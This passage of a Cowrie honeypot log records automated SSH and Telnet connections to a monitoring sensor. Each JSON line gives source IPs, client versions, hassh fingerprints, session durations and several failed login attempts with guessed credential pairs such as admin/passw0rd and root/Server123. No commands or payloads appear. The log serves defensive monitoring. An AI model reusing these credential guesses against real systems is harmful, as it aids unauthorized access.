roup-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:38.473224Z","src_ip":"159.203.92.129","session":"534a439773d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amandabackup","password":"amandabackup111111","message":"login attempt [amandabackup/amandabackup111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:38.486044Z","src_ip":"159.203.92.129","session":"534a439773d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:39.492207Z","src_ip":"159.203.92.129","session":"534a439773d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":60004,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c0bf86a54e7","protocol":"telnet","message":"New connection: 104.248.46.74:60004 (159.203.135.109:23) [session: 6c0bf86a54e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:39.757012Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":39512,"dst_ip":"10.17.0.5","dst_port":23,"session":"12284db91fe3","protocol":"telnet","message":"New connection: 174.136.57.21:39512 (10.17.0.5:23) [session: 12284db91fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:39.773834Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":60910,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4548840d59c","protocol":"telnet","message":"New connection: 104.248.46.74:60910 (159.203.135.109:23) [session: a4548840d59c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:44.433755Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":35994,"dst_ip":"10.17.0.5","dst_port":23,"session":"58ce42da82b2","protocol":"telnet","message":"New connection: 162.253.42.116:35994 (10.17.0.5:23) [session: 58ce42da82b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:46.774008Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":33372,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc6c12e10033","protocol":"telnet","message":"New connection: 104.248.46.74:33372 (159.203.135.109:23) [session: bc6c12e10033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:47.980963Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":46914,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0e4c148b1a0","protocol":"ssh","message":"New connection: 103.215.80.173:46914 (159.203.135.109:22) [session: e0e4c148b1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:51.282806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:51.287948Z","src_ip":"103.215.80.173","session":"e0e4c148b1a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:51.908525Z","src_ip":"103.215.80.173","session":"e0e4c148b1a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":34054,"dst_ip":"159.203.135.109","dst_port":23,"session":"3298f4805de9","protocol":"telnet","message":"New connection: 104.248.46.74:34054 (159.203.135.109:23) [session: 3298f4805de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:52.883861Z"}
{"eventid":"cowrie.session.closed","duration":32.23671889305115,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:53.743357Z","src_ip":"174.136.57.21","session":"dfbb7826b17a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passw0rd","message":"login attempt [admin/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:53.826151Z","src_ip":"103.215.80.173","session":"e0e4c148b1a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:55.037595Z","src_ip":"103.215.80.173","session":"e0e4c148b1a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":46650,"dst_ip":"10.17.0.5","dst_port":23,"session":"6133e972b470","protocol":"telnet","message":"New connection: 162.253.42.116:46650 (10.17.0.5:23) [session: 6133e972b470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:56.218900Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":35812,"dst_ip":"159.203.135.109","dst_port":23,"session":"95cb6ca181aa","protocol":"telnet","message":"New connection: 104.248.46.74:35812 (159.203.135.109:23) [session: 95cb6ca181aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:57.454396Z"}
{"eventid":"cowrie.session.closed","duration":37.61981797218323,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:58.154799Z","src_ip":"104.248.46.74","session":"a48a25a62bb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.70612812042236,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:01.847084Z","src_ip":"208.82.116.131","session":"64eda8501b3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.56195616722107,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:06.366094Z","src_ip":"208.82.116.131","session":"78fe10eb1598","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.77014207839966,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:07.085160Z","src_ip":"208.82.116.131","session":"d8696aa8cbd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.01205539703369,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:07.442288Z","src_ip":"208.82.116.131","session":"73378b0c373a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.02216124534607,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:07.447055Z","src_ip":"208.82.116.131","session":"aec371956fc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.3124577999115,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:08.030462Z","src_ip":"104.248.46.74","session":"0af780b68bef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.227565050125122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:11.001297Z","src_ip":"174.136.57.21","session":"12284db91fe3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":40624,"dst_ip":"159.203.135.109","dst_port":23,"session":"134c3ec28afd","protocol":"telnet","message":"New connection: 104.248.46.74:40624 (159.203.135.109:23) [session: 134c3ec28afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:11.683912Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":41692,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc0dcf77023e","protocol":"telnet","message":"New connection: 104.248.46.74:41692 (159.203.135.109:23) [session: bc0dcf77023e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:15.920338Z"}
{"eventid":"cowrie.session.closed","duration":36.403380393981934,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:16.160268Z","src_ip":"104.248.46.74","session":"6c0bf86a54e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43328,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b03e10d8e05","protocol":"telnet","message":"New connection: 162.253.42.116:43328 (10.17.0.5:23) [session: 0b03e10d8e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:18.179626Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":58790,"dst_ip":"159.203.135.109","dst_port":23,"session":"13c5a6504f80","protocol":"telnet","message":"New connection: 208.82.116.131:58790 (159.203.135.109:23) [session: 13c5a6504f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:20.230421Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":43482,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c13300dc529","protocol":"telnet","message":"New connection: 104.248.46.74:43482 (159.203.135.109:23) [session: 9c13300dc529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:20.428645Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":43528,"dst_ip":"159.203.135.109","dst_port":23,"session":"781c4ac136b0","protocol":"telnet","message":"New connection: 104.248.46.74:43528 (159.203.135.109:23) [session: 781c4ac136b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:21.564272Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":44250,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0f13f3eb9e8","protocol":"telnet","message":"New connection: 104.248.46.74:44250 (159.203.135.109:23) [session: a0f13f3eb9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:22.665513Z"}
{"eventid":"cowrie.session.closed","duration":36.19775986671448,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:22.971675Z","src_ip":"162.253.42.116","session":"58ce42da82b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.235291481018066,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:23.216176Z","src_ip":"104.248.46.74","session":"bc6c12e10033","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60556,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa86fe994b94","protocol":"ssh","message":"New connection: 159.203.92.129:60556 (159.203.135.109:22) [session: aa86fe994b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:23.988822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:23.993380Z","src_ip":"159.203.92.129","session":"aa86fe994b94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:23.999424Z","src_ip":"159.203.92.129","session":"aa86fe994b94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amandabackup","password":"amandabackup123","message":"login attempt [amandabackup/amandabackup123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:24.013693Z","src_ip":"159.203.92.129","session":"aa86fe994b94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.6720871925354,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:24.760440Z","src_ip":"104.248.46.74","session":"25f8c4094fc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.570958852767944,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:25.004621Z","src_ip":"104.248.46.74","session":"a4548840d59c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:25.023920Z","src_ip":"159.203.92.129","session":"aa86fe994b94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.001842260360718,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:25.232128Z","src_ip":"208.82.116.131","session":"13c5a6504f80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":46792,"dst_ip":"159.203.135.109","dst_port":23,"session":"ded88d7e2b40","protocol":"telnet","message":"New connection: 104.248.46.74:46792 (159.203.135.109:23) [session: ded88d7e2b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:30.069735Z"}
{"eventid":"cowrie.session.closed","duration":35.70711922645569,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:31.925881Z","src_ip":"162.253.42.116","session":"6133e972b470","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.05442428588867,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:32.508700Z","src_ip":"104.248.46.74","session":"95cb6ca181aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":47994,"dst_ip":"159.203.135.109","dst_port":23,"session":"57cc80308a4d","protocol":"telnet","message":"New connection: 104.248.46.74:47994 (159.203.135.109:23) [session: 57cc80308a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:33.690928Z"}
{"eventid":"cowrie.session.closed","duration":42.00689482688904,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:34.890641Z","src_ip":"104.248.46.74","session":"3298f4805de9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":43164,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad2dd47bb23e","protocol":"ssh","message":"New connection: 45.78.194.242:43164 (10.17.0.5:22) [session: ad2dd47bb23e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:42.417563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:42.422528Z","src_ip":"45.78.194.242","session":"ad2dd47bb23e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:42.655238Z","src_ip":"45.78.194.242","session":"ad2dd47bb23e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server123","message":"login attempt [root/Server123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:44.889999Z","src_ip":"45.78.194.242","session":"ad2dd47bb23e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:46.124313Z","src_ip":"45.78.194.242","session":"ad2dd47bb23e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.023866415023804,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:48.707582Z","src_ip":"104.248.46.74","session":"134c3ec28afd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":47996,"dst_ip":"10.17.0.5","dst_port":23,"session":"df139481250a","protocol":"telnet","message":"New connection: 162.253.42.116:47996 (10.17.0.5:23) [session: df139481250a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:49.375851Z"}
{"eventid":"cowrie.session.closed","duration":35.12864661216736,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:51.048860Z","src_ip":"104.248.46.74","session":"bc0dcf77023e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":52078,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d8f5d3c164e","protocol":"telnet","message":"New connection: 162.253.42.116:52078 (10.17.0.5:23) [session: 5d8f5d3c164e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:52.904572Z"}
{"eventid":"cowrie.session.closed","duration":35.7114622592926,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:53.890777Z","src_ip":"162.253.42.116","session":"0b03e10d8e05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21258735656738,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:54.776711Z","src_ip":"104.248.46.74","session":"781c4ac136b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.39179015159607,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:57.057182Z","src_ip":"104.248.46.74","session":"a0f13f3eb9e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.32387828826904,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:57.752423Z","src_ip":"104.248.46.74","session":"9c13300dc529","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":43220,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e5405497c4c","protocol":"telnet","message":"New connection: 208.82.116.131:43220 (159.203.135.109:23) [session: 3e5405497c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:58.680844Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":43234,"dst_ip":"159.203.135.109","dst_port":23,"session":"efee6028bfcd","protocol":"telnet","message":"New connection: 208.82.116.131:43234 (159.203.135.109:23) [session: efee6028bfcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:28:58.720458Z"}
